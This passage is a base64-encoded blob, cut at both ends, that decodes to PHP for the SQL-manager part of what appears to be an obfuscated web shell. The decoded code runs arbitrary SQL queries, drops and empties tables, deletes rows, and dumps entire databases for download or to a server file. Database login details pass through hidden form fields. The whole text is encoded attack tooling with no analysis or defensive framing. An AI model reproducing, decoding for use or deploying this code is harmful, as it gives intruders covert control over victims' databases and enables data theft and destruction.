YXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgICAgICBlY2hvICRkYnM7DQogICAgICB9DQogICAgICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+DQoNCiAgICAgIDw/cGhwDQogICAgfQ0KICAgIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiPiI7DQogICAgJGRpcGxheSA9IFRSVUU7DQogICAgaWYgKCRzcWxfZGIpIHsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQ0KICAgICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQ0KICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOw0KICAgICAgaWYgKGNvdW50KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0NCiAgICAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOw0KICAgICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOw0KICAgICAgaWYgKCRzcWxfeCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfeCA9ICJkdW1wIjt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3RibF94ID09ICJpbnNlcnQiKSB7DQogICAgICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkgew0KICAgICAgICAgICRrZXlzID0gIiI7DQogICAgICAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOw0KICAgICAgICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlzIC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9DQogICAgICAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAgICAgICR2YWx1ZXMgPSAiIjsNCiAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgICAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9DQogICAgICAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsNCiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKSB7DQogICAgICAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7DQogICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQ0KICAgICAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgICAgfQ0KICAgICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHsNCiAgICAgICAgPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyB0YWJsZTo8L2I+DQoNCiAgICAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPg0KICAgICAgICA8L2Zvcm0+PC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJkdW1wIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPg0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfeCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQ0KICAgICAgICBpZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7DQogICAgICAgICAgZWNobyAiPGI+IjsNCiAgICAgICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgew0KICAgICAgICAgICAgZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkdW1wIikgew0KICAgICAgICAgIGlmIChlbXB0eSgkc3VibWl0KSkgew0KICAgICAgICAgICAgJGRpcGxheSA9IEZBTFNFOw0KICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3hcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRCOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgICR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsNCiAgICAgICAgICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9DQogICAgICAgICAgICBlbHNlIHskdG1wID0gaHRtbHNwZWNpYWxjaGFycygiLi9kdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIik7fQ0KICAgICAgICAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD4iOw0KICAgICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsNCiAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRkaXBsYXkgPSBUUlVFOw0KICAgICAgICAgICAgJHNldCA9IGFycmF5KCk7DQogICAgICAgICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7DQogICAgICAgICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsNCiAgICAgICAgICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAgICAgICAgICAkc2V0WyJwcmludCJdID0gMDsNCiAgICAgICAgICAgICRzZXRbIm5sMmJyIl0gPSAwOw0KICAgICAgICAgICAgJHNldFsiIl0gPSAwOw0KICAgICAgICAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsNCiAgICAgICAgICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOw0KICAgICAgICAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQ0KICAgICAgICAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7DQogICAgICAgICAgICBpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKSB7DQogICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsNCiAgICAgICAgICAgICAgZWNobyAkcmV0Ow0KICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkgew0KICAgICAgICAgICAgICAkZnAgPSBmb3Blbigkc3FsX2R1bXBfZmlsZSwidyIpOw0KICAgICAgICAgICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9DQogICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+RHVtcGVkISBEdW1wIGhhcyBiZWVuIHdyaXRlZCB0byBcIiIuaHRtbHNwZWNpYWxjaGFycyhyZWFscGF0aCgkc3FsX2R1bXBfZmlsZSkpLiJcIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJHNxbF9kdW1wX2ZpbGUpKS4iKTwvYj4uIjsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmICgkZGlwbGF5KSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpIHsNCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9DQogICAgICAkY291bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxbF90YmwuImA7Iik7DQogICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICAgaWYgKCRzcWxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc3FsX3RibF9sZSA9IDMwO30NCiAgICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7DQogICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOw0KICAgICAgaWYgKGNvdW50KCRlKSA9PSAyKSB7DQogICAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQ0KICAgICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9DQogICAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyR2ID0gIiI7fQ0KICAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1zdHJ1Y3R1cmVcIj5bPGI+IFN0cnVjdHVyZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1icm93c2VcIj5bPGI+IEJyb3dzZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJs